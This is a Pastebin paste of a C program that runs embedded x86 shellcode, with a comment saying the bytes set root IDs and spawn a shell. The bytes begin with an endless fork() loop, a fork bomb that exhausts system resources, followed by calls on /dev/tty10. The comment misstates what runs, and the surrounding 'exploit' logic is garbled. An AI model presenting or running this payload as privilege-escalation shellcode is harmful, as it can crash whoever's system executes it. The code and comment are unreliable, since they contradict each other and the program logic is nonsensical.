Advertisement
Guest User

Untitled

a guest
May 23rd, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.27 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <string.h>
  4.  
  5. char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9"
  6. "\x6a\x05\x58\x99\x52\x68\x74\x79\x31\x30\x68\x2f\x2f\x2f\x74"
  7. "\x68\x2f\x64\x65\x76\x89\xe3\x89\xd1\xcd\x80\x89\xc3\x6a\x36"
  8. "\x58\xb9\xcf\xb4\xff\xff\xf7\xd1\xba\xdc\x34\xfa\x03\xcd\x80";
  9.  
  10. /*
  11. * setreuid(0, 0);
  12. * push byte +0x46
  13. * pop eax
  14. * xor ebx,ebx
  15. * xor ecx,ecx
  16. * int 0x80
  17. *
  18. * execve("/bin//sh", ["/bin//sh", "-c", "cmd"], NULL);
  19. * jmp short 0x2c
  20. * pop edi
  21. * push byte +0xb
  22. * pop eax
  23. * cdq
  24. * push edx
  25. * push word 0x632d
  26. * mov esi,esp
  27. * push edx
  28. * push dword 0x68732f2f
  29. * push dword 0x6e69622f
  30. * mov ebx,esp
  31. * push edx
  32. * push edi
  33. * push esi
  34. * push ebx
  35. * mov ecx,esp
  36. * int 0x80
  37. * call 0xb
  38. * "cmd; exit;"
  39. */
  40.  
  41. int main(int argc, char * argv[])
  42. {
  43. char buffer[1024];
  44. int loop, ret;
  45. if (argc == 1){
  46. printf("using default target program :: /bin/ls\n");
  47. strcpy(buffer, "/bin/ls");
  48. }
  49. strcpy(buffer,argv[1]);
  50. memset(buffer,0x90,1024);
  51. void (*b)()=shellcode;b();
  52.  
  53. for (loop=0;loop<0x10000;loop++){
  54. ret = personality(b);
  55. if (ret==-71393){
  56. //
  57. // hellcode injection
  58. //
  59. memset(buffer, 0x90, 1024);
  60. buffer[ret - 0xa8 + loop / 2 * 39] =
  61. buffer[ret - 0xfb * sizeof(long)];
  62. printf("Yay!! !!");
  63. exit(0);
  64. }
  65. }
  66. printf("Fail.\n");
  67. return 0;
  68. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement